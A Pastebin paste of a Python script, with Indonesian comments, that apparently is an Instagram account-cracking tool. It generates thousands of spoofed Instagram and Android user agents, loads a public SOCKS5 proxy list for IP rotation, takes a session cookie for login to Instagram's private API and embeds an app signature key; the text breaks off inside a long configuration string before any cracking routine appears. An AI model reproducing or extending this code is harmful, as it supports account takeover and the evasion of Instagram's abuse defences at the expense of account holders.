OBF-XIn

140.213.232.20-/sdcard/leoprem.py.py

Aug 4th, 2023
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 69.58 KB | None | 0 0
  1. # coding:utf-8
  2. #/usr/bin/python
  3. P = '\x1b[1;97m' # PUTIH
  4. M = '\x1b[1;91m' # MERAH
  5. H = '\x1b[1;92m' # HIJAU
  6. K = '\x1b[1;93m' # KUNING
  7. B = '\x1b[1;94m' # BIRU
  8. U = '\x1b[1;95m' # UNGU
  9. O = '\x1b[1;96m' # BIRU MUDA
  10. N = '\x1b[0m'    # WARNA MATI
  11. ###----------[ WARNA PRINT RICH ]---------- ###
  12.  
  13. M2 = "[#FF0000]" # MERAH
  14. H2 = "[#00FF00]" # HIJAU
  15. K2 = "[#FFFF00]" # KUNING
  16. B2 = "[#00C8FF]" # BIRU
  17. P2 = "[#FFFFFF]" # PUTIH
  18.  
  19. try:
  20.     import json
  21.     import uuid
  22.     import hmac
  23.     import rich
  24.     import random
  25.     import hashlib
  26.     import urllib
  27.     import urllib.request
  28.     import calendar
  29. except ImportError as e:
  30.     exit(f'[!] {e} belum terinstall')
  31. import requests,bs4,json,os,sys,random,datetime,time,re
  32. try:
  33.         import rich
  34. except ImportError as e:
  35.         print (f" {M}• {P}sedang install bahan {H}{e.name}, {P}mohon tunggu...")
  36.         os.system(f"python -m pip install {e.name} &> /dev/null")
  37.         os.system(f"python -m pip install requests &> /dev/null")
  38.  
  39. from rich import print as prints
  40. from rich.console import Console
  41. from rich.columns import Columns
  42. from rich.panel import Panel
  43. from rich.tree import Tree
  44. from rich.table import Table as me
  45. from rich.console import Console as sol
  46. from bs4 import BeautifulSoup as sop
  47. from concurrent.futures import ThreadPoolExecutor as tred
  48. from rich.console import Group as gp
  49. from rich.panel import Panel as nel
  50. from rich import print as cetak
  51. from rich.markdown import Markdown as mark
  52. from rich.columns import Columns as col
  53. from time import sleep
  54. from concurrent.futures import ThreadPoolExecutor
  55. from datetime import datetime
  56. from bs4 import BeautifulSoup as parser
  57. import time
  58. from rich.progress import track
  59. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn
  60. from rich.tree import Tree
  61. from rich import print as prints
  62. from rich.console import Console as sol
  63. from rich.panel import Panel as nel
  64. from rich import print as cetak
  65. from rich import print as cetak
  66. from rich.columns import Columns
  67. from rich import print as Buat
  68. from rich.panel import Panel
  69. from rich.tree import Tree
  70. from rich import print as prints
  71. from rich import print as printer
  72. from rich.console import Console
  73. from rich.console import Console as sol
  74. from rich.table import Table
  75. from rich.columns import Columns
  76. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
  77. console = Console()
  78.  
  79.  
  80. day=datetime.now().strftime("%d-%b-%Y")
  81. nyMnD = 5
  82. nyMxD = 10
  83. current_GMT = time.gmtime(time.time())
  84.  
  85. insta_log='https://www.instagram.com/accounts/login/?force_classic_login=&'
  86. url='https://www.instagram.com'
  87.  
  88. merah  = '[#FF0022]'
  89. hijau  = '[#00FF33]'
  90. hapus  = '[/]'
  91. bc = '[bold cyan]'
  92. kuning = '[#FFFF00]'
  93. kn = '[bold yellow]'
  94. hapus  = '[/]'
  95. biru_m = '[bold cyan]'
  96.  
  97. bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  98.  
  99. color_table = "#FFFFFF"
  100. color_rich = "[#00C8FF]"
  101. sys.stdout.write('\x1b]2; IGC\AsepitgansXC\x07')
  102.  
  103. try:os.mkdir('data')
  104. except:pass
  105. try:os.mkdir('result')
  106. except:pass
  107.  
  108. CY='\033[96;1m'
  109. P = '\x1b[1;97m' # PUTIH
  110. M = '\x1b[1;91m' # MERAH
  111. H = '\x1b[1;92m' # HIJAU
  112. K = '\x1b[1;93m' # KUNING
  113. B = '\x1b[1;94m' # BIRU
  114. U = '\x1b[1;95m' # UNGU
  115. O = '\x1b[1;96m' # BIRU MUDA
  116. N = '\x1b[0m'    # WARNA MATI
  117. ### COLOR RICH ###
  118. warna_merah = "[#FF0000]" # MERAH
  119. warna_hijau = "[#00FF00]" # HIJAU
  120. warna_kuning = "[#FFFF00]" # KUNING
  121. warna_biru = "[#00C8FF]" # BIRU
  122. warna_ungu = "[#AF00FF]" # UNGU
  123. warna_biru2 = "[#00FFFF]" # BIRU MUDA
  124. warna_putih = "[#FFFFFF]" # PUTIH
  125. warna_jinga = "[#FF8F00]" # JINGGA
  126. warna_abu = "[#AAAAAA]" # ABU-ABU
  127. warna_magenta = "[#d700d7]" # MAGENTA
  128. bc = '[bold cyan]'
  129.  
  130. a = "[#8700af]"
  131. b = "[#87875f]"
  132. c = "[#8787af]"
  133. d = "[#87afff]"
  134. e = "[#87ff00]"
  135. R3 = random.choice([a, b, c, d, e])
  136.  
  137. USN = "Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Mobile/15B150 Instagram 32.0.0.14.97 (iPhone10,6; iOS 11_1_1; ru_UA; ru-UA; scale=3.00; gamut=wide; 1125x2436)"
  138.  
  139. internal,external,success,checkpoint,loop,following,lisensikuni,lisensiku=[],[],[],[],0,[],[],[]
  140. HARIS, HARIS1, method, ugen, ugen3, ugen2, baru, zx, prox, menudump, uazpepek = {}, {}, [], [], [], [], [], [], [], [], []
  141. s = requests.Session()
  142. UaNgentodMuach = []
  143.  
  144. def uazku():
  145.     rr = random.randint
  146.     rc = random.choice
  147.     uazku1 = f"Mozilla/5.0 (Linux; U; Android {str(rr(9,12))}; ru-ru; Redmi K20 Pro Premium Edition Build/QKQ1.{str(rr(111111,199999))}.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(71,99))}.0.{str(rr(3500,3900))}.{str(rr(140,150))} Mobile Safari/537.36 XiaoMi/MiuiBrowser/12.5.2-go"
  148.     uazku2 = f"Mozilla/5.0 (Linux; Android {str(rr(9,12))}; SM-G950W Build/PPR1.{str(rr(111111,199999))}.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(75,150))}.0.{str(rr(5500,5900))}.{str(rr(73,99))} Mobile Safari/537.36 Flipboard/4.3.0/{str(rr(5300,5500))},4.3.0.{str(rr(5300,5500))}"
  149.     uazku3 = f"Mozilla/5.0 (Linux; Android 13; SAMSUNG SM-N985F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/19.0 Chrome/{str(rr(75,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Mobile Safari/537.36  Android"
  150.     uazku4 = f"Mozilla/5.0 (Linux; Android {str(rr(9,12))}; Infinix X683 Build/QP1A.{str(rr(111111,199999))}.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(100,150))}.0.{str(rr(5300,5900))}.{str(rr(75,150))} Mobile Safari/537.36 GoogleApp/13.47.8.26.arm64"
  151.     uazku5 = f"Mozilla/5.0 (Linux; Android {str(rr(1,8))}.1.0; VSD243 Build/OPM8.{str(rr(111111,199999))}.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(60,75))}.0.{str(rr(3100,3500))}.{str(rr(75,99))} Safari/537.36"
  152.     uazku6 = f"Mozilla/5.0 (Linux; Android {str(rr(4,7))}.{str(rr(1,5))}; EK-GC200 Build/JSS15J) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(60,99))}.0.{str(rr(3400,3900))}.{str(rr(100,150))} Mobile Safari/537.36"
  153.     uazku7 = f"Mozilla/5.0 (Linux; Android {str(rr(9,13))}; CPH2127 Build/RKQ1.{str(rr(211111,299999))}.001) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(100,150))}.0.{str(rr(5500,5900))}.{str(rr(120,150))} Mobile Safari/537.36"
  154.     uazku8 = str(rc([uazku1, uazku2, uazku3, uazku4, uazku5, uazku6, uazku7]))
  155.     return uazku8
  156.  
  157. for xc in range(1000):
  158.     rr = random.randint
  159.     rc = random.choice
  160.     uaz1 = f"Mozilla/5.0 (Linux; U; Android {str(rr(7,12))}; zh-CN; Infinix X6511B Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(73,99))}.0.{str(rr(2500,2900))}.{str(rr(75,150))} HiBrowser/2.5.016 UWS/ Mobile Safari/537.36"
  161.     uaz2 = f"Mozilla/5.0 (Linux; Android 11; RMX3195 Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(73,99))}.0.{str(rr(4500,4900))}.{str(rr(75,150))} YaBrowser/22.1.0.{str(rr(190,199))} (lite) Mobile Safari/537.36"
  162.     uaz3 = f"Mozilla/5.0 (Linux; Android {str(rr(9,12))}; CPH2197 Build/SKQ1.{str(rr(211111,299999))}.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(75,150))}.0.{str(rr(5500,5900))}.{str(rr(73,150))} Mobile Safari/537.36 Instagram {str(rr(260,290))}.0.0.{str(rr(20,99))}.{str(rr(320,390))} Android (31/{str(rr(9,12))}; 480dpi; 1080x2158; OPPO; CPH2197; OP4F39L1; qcom; de_DE; {str(rr(422222222,499999999))})"
  163.     uainsta = str(rc([uaz1, uaz2, uaz3]))
  164.     baru.append(uainsta)
  165.  
  166. for luxine_devs in range(10000):
  167.     rr = random.randint
  168.     rc = random.choice
  169.     uazku1 = f"Mozilla/5.0 (Linux; Android 11; RMX3231 Build/RP1A.201005.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(73,99))}.0.{str(rr(4500,4900))}.{str(rr(75,150))} Mobile Safari/537.36 Instagram {str(rr(260,290))}.0.0.{str(rr(20,99))}.{str(rr(320,390))} Android (30/11; 360dpi; 720x1437; realme; RMX3231; RMX3231; RMX3231; it_IT; {str(rr(422222222,499999999))})"
  170.     uazku2 = f"Mozilla/5.0 (Linux; Android {str(rr(9,12))}; SM-G960F Build/QP1A.{str(rr(111111,199999))}.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(75,150))}.0.{str(rr(5500,5900))}.{str(rr(73,99))} Mobile Safari/537.36 Instagram {str(rr(260,290))}.0.0.{str(rr(20,99))}.{str(rr(320,390))} Android (29/{str(rr(9,12))}; 540dpi; 1080x2058; samsung; SM-G960F; starlte; samsungexynos9810; it_IT; {str(rr(422222222,499999999))})"
  171.     uazku3 = f"Mozilla/5.0 (Linux; Android 11; Nokia 3.2 Build/RKQ1.{str(rr(211111,299999))}.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(75,150))}.0.{str(rr(5500,5900))}.{str(rr(73,140))} Mobile Safari/537.36 Instagram {str(rr(260,290))}.0.0.{str(rr(20,90))}.{str(rr(111,199))} Android (30/11; 320dpi; 720x1368; HMD Global/Nokia; Nokia 3.2; DPL_sprout; qcom; it_IT; {str(rr(411111111,499999999))})"
  172.     uazstart = str(rc([uazku1, uazku2, uazku3]))
  173.     uazpepek.append(uazstart)
  174.  
  175. for luxine_dev in range(1000):
  176.    android1 = rc(["3","4","5","6","7","8","9","10","11","12"])
  177.    android2 = rc(["1.5","1.6","2.1","3.0.1","4.0.2","5.0.2","6.0.1","6.2.2","7.0.1","7.0","8.1.0","4.4.4","5.1","6.3"])
  178.    adtyaxcc = rc(['en-us','en-gb','id-id','de-de','ru-ru','en-sg','fr-fr','fa-ir','ja-jp','pt-br','cs-cz','zh-hk','zh-cn','vi-vn','en-ph','en-in','tr-tr'])
  179.    aZ = ['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
  180.    chrome1 = rr(73,99)
  181.    chrome2 = rr(4500,4900)
  182.    chrome3 = rr(75,150)
  183.    chrome4 = rr(111111,199999)
  184.    buildhan = rc([
  185.                   "MMB29P",
  186.                   "MMB29K",
  187.                   "LRX22G",
  188.                   "LMY48B",
  189.                   "JZO54K",
  190.                   "KTU84P",
  191.                   "KOT49H",
  192.                   "JDQ39"])
  193.    deviceku = rc([
  194.                   "Lenovo TB-X104X",
  195.                   "SM-G930VC",
  196.                   "Nexus 6P",
  197.                   "SAMSUNG SM-T550",
  198.                   "HTC Legend 1.32.163.1",
  199.                   "HTC_TATTOO_A3288",
  200.                   "Nexus One",
  201.                   "LG-L1100",
  202.                   "SonyEricssonX10i",
  203.                   "SM-A510F",
  204.                   "SM-T560",
  205.                   "B3-A20",
  206.                   "XT720"])
  207.    ugent1 = f"Mozilla/5.0 (Linux; Android {android1}; SM-R825F Build/QP1A.{chrome4}.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{chrome1}.0.{chrome2}.{chrome3} Mobile Safari/537.36"
  208.    ugent2 = f"Mozilla/5.0 (Linux; U; Android {android2}; {adtyaxcc}; {deviceku} Build/{buildhan}) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1"
  209.    ugent3 = f"Mozilla/5.0 (Linux; Android 10; RMX2185 Build/QP1A.{chrome4}.020) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{chrome1}.0.{chrome2}.{chrome3} Mobile Safari/537.36 OPR/48.2.{chrome2}.133{chrome3}"
  210.    biwir_berem = rc([ugent1,ugent2,ugent3])
  211.    UaNgentodMuach.append(biwir_berem)
  212.    
  213.  
  214. try:
  215.     with requests.Session() as ses:
  216.         _url = ses.get("https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt").text
  217.         for xc in _url.splitlines():
  218.             prox.append(xc)
  219. except requests.exceptions.ConnectionError:
  220.     print(f"{P}[{M}!{P}] koneksi internet anda bermasalah")
  221.     time.sleep(0.3)
  222.     exit()
  223.  
  224.  
  225. def clear():
  226.     try:os.system('clear')
  227.     except:pass
  228.  
  229. def RemoveCookie():
  230.     try:os.remove("data/cookie.txt")
  231.     except:pass
  232.     try:os.remove("data/user.txt")
  233.     except:pass
  234.  
  235. def waktu():
  236.     now = datetime.now()
  237.     hours = now.hour
  238.     if 4 <= hours < 12:timenow = "Good Morning"
  239.     elif 12 <= hours < 15:timenow = "Good Afternoon"
  240.     elif 15 <= hours < 18:timenow = "Good Evening"
  241.     else:timenow = "Good Night"
  242.     return timenow
  243.  
  244. def jalan(keliling):
  245.     for mau in keliling + '\n':
  246.         sys.stdout.write(mau)
  247.         sys.stdout.flush();sleep(0.03)
  248.  
  249. def banner():
  250.     try:clear()
  251.     except:pass
  252.     insta = prints
  253.     crack = Panel
  254.     print(f"""
  255. \33[1;91m_     _____ ___      __  ______   __  ____  ___   _
  256. \33[1;92m| |   | ____/ _ \    \ \/ /  _ \ \ \/ /\ \/ / \ | |
  257. \33[1;93m| |   |  _|| | | |_____\ /| | | |  \ /  \ /|  \| |
  258. \33[1;94m| |___| |__| |_| |_____/  \| |_| |  /  \ /  \| |\ |
  259. \33[1;95m|_____|_____\___/     /_/\_\____/  /_/\_\/_/\_\_| \_|
  260.                                              
  261. [+] Author Leo-Xd
  262. [+] Status\033[32m Privat Lah bodoh\033[0m""")
  263.  
  264. def loading():
  265.     animation = ["[\x1b[1;91m■\x1b[0m□□□□□□□□□]","[\x1b[1;92m■■\x1b[0m□□□□□□□□]", "[\x1b[1;93m■■■\x1b[0m□□□□□□□]", "[\x1b[1;94m■■■■\x1b[0m□□□□□□]", "[\x1b[1;95m■■■■■\x1b[0m□□□□□]", "[\x1b[1;96m■■■■■■\x1b[0m□□□□]", "[\x1b[1;97m■■■■■■■\x1b[0m□□□]", "[\x1b[1;98m■■■■■■■■\x1b[0m□□]", "[\x1b[1;99m■■■■■■■■■\x1b[0m□]", "[\x1b[1;910m■■■■■■■■■■\x1b[0m]"]
  266.     for i in range(50):
  267.         time.sleep(0.1)
  268.         sys.stdout.write(f"\r[•]LOADING... " + animation[i % len(animation)] +"\x1b[0m ")
  269.         sys.stdout.flush()
  270.     print("")      
  271.  
  272. try:
  273.     # python 2
  274.     urllib_quote_plus = urllib.quote
  275. except:
  276.     # python 3
  277.     urllib_quote_plus = urllib.parse.quote_plus
  278.  
  279. def cekAPI(cookie):
  280.     user=open('data/user.txt','r').read()
  281.     coki = open('data/cookie.txt','r').read()
  282.     try:
  283.         c=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),cookies={'cookie':coki},headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  284.         i=c.json()["data"]["user"]
  285.         nama=i["full_name"]
  286.         followers=i["edge_followed_by"]["count"]
  287.         following=i["edge_follow"]["count"]
  288.         external.append(f'{nama}|{followers}|{following}')
  289.     except FileNotFoundError:
  290.         os.remove('data/cookie.txt')
  291.         os.remove('data/user.txt')
  292.     except  (ValueError,KeyError):
  293.         print(f"{P}[{B}+{P}] instagram checkpoint")
  294.         os.remove('data/cookie.txt')
  295.         os.remove('data/user.txt')
  296.         exit()
  297.  
  298.     return external,user
  299.  
  300. def ggwp17():
  301.         try:
  302.             kuki=open('data/cookie.txt','r').read()
  303.         except FileNotFoundError:
  304.             banner()
  305.             insta = prints
  306.             crack = Panel
  307.          #   insta(crack(f"""DI SARANKAN TIDAK MENGUNAKAN AKUN PRIBADI/AKUN SENDIRI KARNA AKAN MENYEBABKAN AKUN TERKENA KUNCI/SESI""",title=f'{warna_biru}• {warna_merah}• {warna_ungu}SARAN'))
  308.             coki = input(f"\n{P}[{M}C{P}] Cookie : ")
  309.             loading()
  310.             try:
  311.                 id = re.search('ds_user_id=(\d+)',str(coki)).group(1)
  312.                 po = s.get(f"https://i.instagram.com/api/v1/users/{id}/info/",headers={"user-agent":USN},cookies={"cookie":coki})
  313.                 xx = json.loads(po.text)['user']
  314.                 useri = xx["username"]
  315.                 user = open('data/user.txt','w').write(useri)
  316.                 kuki = open('data/cookie.txt','w').write(coki)
  317.                 insta(crack(f"""{warna_biru}{coki}""",title=f'{warna_biru}• {warna_merah}•{warna_ungu} LOGIN DENGAN COOKIE {warna_merah}•{warna_biru} •'))
  318.                 time.sleep(0.05)
  319.                 time.sleep(3)
  320.             except (json.decoder.JSONDecodeError, KeyError, AttributeError):
  321.                 jalan(f"{P}[{M}(:{P}] cookie invalid")
  322.                 time.sleep(3)
  323.                 RemoveCookie()
  324.                 exit()
  325.             except ConnectionAbortedError:
  326.                 print(f"{P}[{M}!{P}] koneksi internet anda bermasalah")
  327.                 time.sleep(3)
  328.                 exit()
  329.         ex,user=cekAPI(kuki)
  330.         cookie={'cookie':kuki}
  331.         instagram(ex,user,cookie).menu()
  332.  
  333. def User_Agent():
  334.     dpi_phone = [
  335.         '133','320','515','160','640','240','120'
  336.         '800','480','225','768','216','1024']
  337.     model_phone = [
  338.         'Nokia 2.4','HUAWEI','Galaxy',
  339.         'Unlocked Smartphones','Nexus 6P',
  340.         'Mobile Phones','Xiaomi',
  341.         'samsung','OnePlus']
  342.     pxl_phone = [
  343.         '623x1280','700x1245','800x1280',
  344.         '1080x2340','1320x2400','1242x2688']
  345.     i_version = [
  346.         '114.0.0.20.2','114.0.0.38.120',
  347.         '114.0.0.20.70','114.0.0.28.120',
  348.         '114.0.0.0.24','114.0.0.0.41']
  349.     User_Agent = f'Instagram '+random.choice(i_version)+' Android (30/3.0; '+random.choice(dpi_phone)+'dpi; '+random.choice(pxl_phone)+'; huawei/google; '+random.choice(model_phone)+'; angler; angler; en_US)'
  350.     return User_Agent
  351.  
  352. def user_agent():
  353.     resolutions = ['720x1280', '320x480', '480x800', '1024x768', '1280x720', '768x1024', '480x320']
  354.     versions = ['GT-N7000', 'SM-N9000', 'GT-I9220', 'GT-I9100']
  355.     dpis = ['120', '160', '320', '240']
  356.     ver = random.choice(versions)
  357.     dpi = random.choice(dpis)
  358.     res = random.choice(resolutions)
  359.     return (
  360.         'Instagram 4.{}.{} '
  361.         'Android ({}/{}.{}.{}; {}; {}; samsung; {}; {}; smdkc210; en_US)'
  362.     ).format(
  363.         random.randint(1, 2),
  364.         random.randint(0, 2),
  365.         random.randint(10, 11),
  366.         random.randint(1, 3),
  367.         random.randint(3, 5),
  368.         random.randint(0, 5),
  369.         dpi,
  370.         res,
  371.         ver,
  372.         ver,
  373.     )
  374.  
  375. def user_agentAPI():
  376.     APP_VERSION = "136.0.0.34.124"
  377.     VERSION_CODE = "208061712"
  378.     DEVICES = {
  379.         "one_plus_7": {"app_version": APP_VERSION,"android_version": "29","android_release": "10.0","dpi": "420dpi","resolution": "1080x2340","manufacturer": "OnePlus","device": "GM1903","model": "OnePlus7","cpu": "qcom","version_code": VERSION_CODE},
  380.         "one_plus_3": {"app_version": APP_VERSION,"android_version": "28","android_release": "9.0","dpi": "420dpi","resolution": "1080x1920","manufacturer": "OnePlus","device": "ONEPLUS A3003","model": "OnePlus3","cpu": "qcom","version_code": VERSION_CODE},
  381.         "samsung_galaxy_s7": {"app_version": APP_VERSION,"android_version": "26","android_release": "8.0","dpi": "640dpi","resolution": "1440x2560","manufacturer": "samsung","device": "SM-G930F","model": "herolte","cpu": "samsungexynos8890","version_code": VERSION_CODE},
  382.         "huawei_mate_9_pro": {"app_version": APP_VERSION,"android_version": "24","android_release": "7.0","dpi": "640dpi","resolution": "1440x2560","manufacturer": "HUAWEI","device": "LON-L29","model": "HWLON","cpu": "hi3660","version_code": VERSION_CODE},
  383.         "samsung_galaxy_s9_plus": {"app_version": APP_VERSION,"android_version": "28","android_release": "9.0","dpi": "640dpi","resolution": "1440x2560","manufacturer": "samsung","device": "SM-G965F","model": "star2qltecs","cpu": "samsungexynos9810","version_code": VERSION_CODE},
  384.         "one_plus_3t": {"app_version": APP_VERSION,"android_version": "26","android_release": "8.0","dpi": "380dpi","resolution": "1080x1920","manufacturer": "OnePlus","device": "ONEPLUS A3010","model": "OnePlus3T","cpu": "qcom","version_code": VERSION_CODE},
  385.         "lg_g5": {"app_version": APP_VERSION,"android_version": "23","android_release": "6.0.1","dpi": "640dpi","resolution": "1440x2392","manufacturer": "LGE/lge","device": "RS988","model": "h1","cpu": "h1","version_code": VERSION_CODE},
  386.         "zte_axon_7": {"app_version": APP_VERSION,"android_version": "23","android_release": "6.0.1","dpi": "640dpi","resolution": "1440x2560","manufacturer": "ZTE","device": "ZTE A2017U","model": "ailsa_ii","cpu": "qcom","version_code": VERSION_CODE},
  387.         "samsung_galaxy_s7_edge": {"app_version": APP_VERSION,"android_version": "23","android_release": "6.0.1","dpi": "640dpi","resolution": "1440x2560","manufacturer": "samsung","device": "SM-G935","model": "hero2lte","cpu": "samsungexynos8890","version_code": VERSION_CODE},}
  388.     DEFAULT_DEVICE = random.choice(list(DEVICES.keys()))
  389.     app_version = DEVICES[DEFAULT_DEVICE]['app_version']
  390.     android_version = DEVICES[DEFAULT_DEVICE]['android_version']
  391.     android_release = DEVICES[DEFAULT_DEVICE]['android_release']
  392.     dpi = DEVICES[DEFAULT_DEVICE]['dpi']
  393.     resolution = DEVICES[DEFAULT_DEVICE]['resolution']
  394.     manufacturer = DEVICES[DEFAULT_DEVICE]['manufacturer']
  395.     device = DEVICES[DEFAULT_DEVICE]['device']
  396.     model = DEVICES[DEFAULT_DEVICE]['model']
  397.     cpu = DEVICES[DEFAULT_DEVICE]['cpu']
  398.     version_code = DEVICES[DEFAULT_DEVICE]['version_code']
  399.     USER_AGENT_BASE = f"Instagram {app_version} "+f"Android ({android_version}/{android_release}; "+f"{dpi}; {resolution}; {manufacturer}; "+f"{device}; {model}; {cpu}; en_US; {version_code})"
  400.     return USER_AGENT_BASE
  401.  
  402. class instagramAPI:
  403.     API_URL = 'https://i.instagram.com/api/v1/'
  404.     DEVICE_SETTINTS = {'manufacturer': 'Xiaomi',
  405.         'model': 'HM 1SW',
  406.         'android_version': 18,
  407.         'android_release': '4.3'}
  408.     USER_AGENT = 'Instagram 10.26.0 Android ({android_version}/{android_release}; 320dpi; 720x1280; {manufacturer}; {model}; armani; qcom; en_US)'.format(**DEVICE_SETTINTS)
  409.     IG_SIG_KEY = '4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178'
  410.     EXPERIMENTS = 'ig_promote_reach_objective_fix_universe,ig_android_universe_video_production,ig_search_client_h1_2017_holdout,ig_android_live_follow_from_comments_universe,ig_android_carousel_non_square_creation,ig_android_live_analytics,ig_android_follow_all_dialog_confirmation_copy,ig_android_stories_server_coverframe,ig_android_video_captions_universe,ig_android_offline_location_feed,ig_android_direct_inbox_retry_seen_state,ig_android_ontact_invite_universe,ig_android_live_broadcast_blacklist,ig_android_insta_video_reconnect_viewers,ig_android_ad_async_ads_universe,ig_android_search_clear_layout_universe,ig_android_shopping_reporting,ig_android_stories_surface_universe,ig_android_verified_comments_universe,ig_android_preload_media_ahead_in_current_reel,android_instagram_prefetch_suggestions_universe,ig_android_reel_viewer_fetch_missing_reels_universe,ig_android_direct_search_share_sheet_universe,ig_android_business_promote_tooltip,ig_android_direct_blue_tab,ig_android_async_network_tweak_universe,ig_android_elevate_main_thread_priority_universe,ig_android_stories_gallery_nux,ig_android_instavideo_remove_nux_comments,ig_video_copyright_whitelist,ig_react_native_inline_insights_with_relay,ig_android_direct_thread_message_animation,ig_android_draw_rainbow_client_universe,ig_android_direct_link_style,ig_android_live_heart_enhancements_universe,ig_android_rtc_reshare,ig_android_preload_item_count_in_reel_viewer_buffer,ig_android_users_bootstrap_service,ig_android_auto_retry_post_mode,ig_android_shopping,ig_android_main_feed_seen_state_dont_send_info_on_tail_load,ig_fbns_preload_default,ig_android_gesture_dismiss_reel_viewer,ig_android_tool_tip,ig_android_ad_logger_funnel_logging_universe,ig_android_gallery_grid_column_count_universe,ig_android_business_new_ads_payment_universe,ig_android_direct_links,ig_android_audience_control,ig_android_live_encore_consumption_settings_universe,ig_perf_android_holdout,ig_android_cache_contact_import_list,ig_android_links_receivers,ig_android_ad_impression_backtest,ig_android_list_redesign,ig_android_stories_separate_overlay_creation,ig_android_stop_video_recording_fix_universe,ig_android_render_video_segmentation,ig_android_live_encore_reel_chaining_universe,ig_android_sync_on_background_enhanced_10_25,ig_android_immersive_viewer,ig_android_mqtt_skywalker,ig_fbns_push,ig_android_ad_watchmore_overlay_universe,ig_android_react_native_universe,ig_android_profile_tabs_redesign_universe,ig_android_live_consumption_abr,ig_android_story_viewer_social_context,ig_android_hide_post_in_feed,ig_android_video_loopcount_int,ig_android_enable_main_feed_reel_tray_preloading,ig_android_camera_upsell_dialog,ig_android_ad_watchbrowse_universe,ig_android_internal_research_settings,ig_android_search_people_tag_universe,ig_android_react_native_ota,ig_android_enable_concurrent_request,ig_android_react_native_stories_grid_view,ig_android_business_stories_inline_insights,ig_android_log_mediacodec_info,ig_android_direct_expiring_media_loading_errors,ig_video_use_sve_universe,ig_android_cold_start_feed_request,ig_android_enable_zero_rating,ig_android_reverse_audio,ig_android_branded_content_three_line_ui_universe,ig_android_live_encore_production_universe,ig_stories_music_sticker,ig_android_stories_teach_gallery_location,ig_android_http_stack_experiment_2017,ig_android_stories_device_tilt,ig_android_pending_request_search_bar,ig_android_fb_topsearch_sgp_fork_request,ig_android_seen_state_with_view_info,ig_android_animation_perf_reporter_timeout,ig_android_new_block_flow,ig_android_story_tray_title_play_all_v2,ig_android_direct_address_links,ig_android_stories_archive_universe,ig_android_save_collections_cover_photo,ig_android_live_webrtc_livewith_production,ig_android_sign_video_url,ig_android_stories_video_prefetch_kb,ig_android_stories_create_flow_favorites_tooltip,ig_android_live_stop_broadcast_on_404,ig_android_live_viewer_invite_universe,ig_android_promotion_feedback_channel,ig_android_render_iframe_interval,ig_android_accessibility_logging_universe,ig_android_camera_shortcut_universe,ig_android_use_one_cookie_store_per_user_override,ig_profile_holdout_2017_universe,ig_android_stories_server_brushes,ig_android_ad_media_url_logging_universe,ig_android_shopping_tag_nux_text_universe,ig_android_comments_single_reply_universe,ig_android_stories_video_loading_spinner_improvements,ig_android_collections_cache,ig_android_comment_api_spam_universe,ig_android_facebook_twitter_profile_photos,ig_android_shopping_tag_creation_universe,ig_story_camera_reverse_video_experiment,ig_android_direct_bump_selected_recipients,ig_android_ad_cta_haptic_feedback_universe,ig_android_vertical_share_sheet_experiment,ig_android_family_bridge_share,ig_android_search,ig_android_insta_video_consumption_titles,ig_android_stories_gallery_preview_button,ig_android_fb_auth_education,ig_android_camera_universe,ig_android_me_only_universe,ig_android_instavideo_audio_only_mode,ig_android_user_profile_chaining_icon,ig_android_live_video_reactions_consumption_universe,ig_android_stories_hashtag_text,ig_android_post_live_badge_universe,ig_android_swipe_fragment_container,ig_android_search_users_universe,ig_android_live_save_to_camera_roll_universe,ig_creation_growth_holdout,ig_android_sticker_region_tracking,ig_android_unified_inbox,ig_android_live_new_watch_time,ig_android_offline_main_feed_10_11,ig_import_biz_contact_to_page,ig_android_live_encore_consumption_universe,ig_android_experimental_filters,ig_android_search_client_matching_2,ig_android_react_native_inline_insights_v2,ig_android_business_conversion_value_prop_v2,ig_android_redirect_to_low_latency_universe,ig_android_ad_show_new_awr_universe,ig_family_bridges_holdout_universe,ig_android_background_explore_fetch,ig_android_following_follower_social_context,ig_android_video_keep_screen_on,ig_android_ad_leadgen_relay_modern,ig_android_profile_photo_as_media,ig_android_insta_video_consumption_infra,ig_android_ad_watchlead_universe,ig_android_direct_prefetch_direct_story_json,ig_android_shopping_react_native,ig_android_top_live_profile_pics_universe,ig_android_direct_phone_number_links,ig_android_stories_weblink_creation,ig_android_direct_search_new_thread_universe,ig_android_h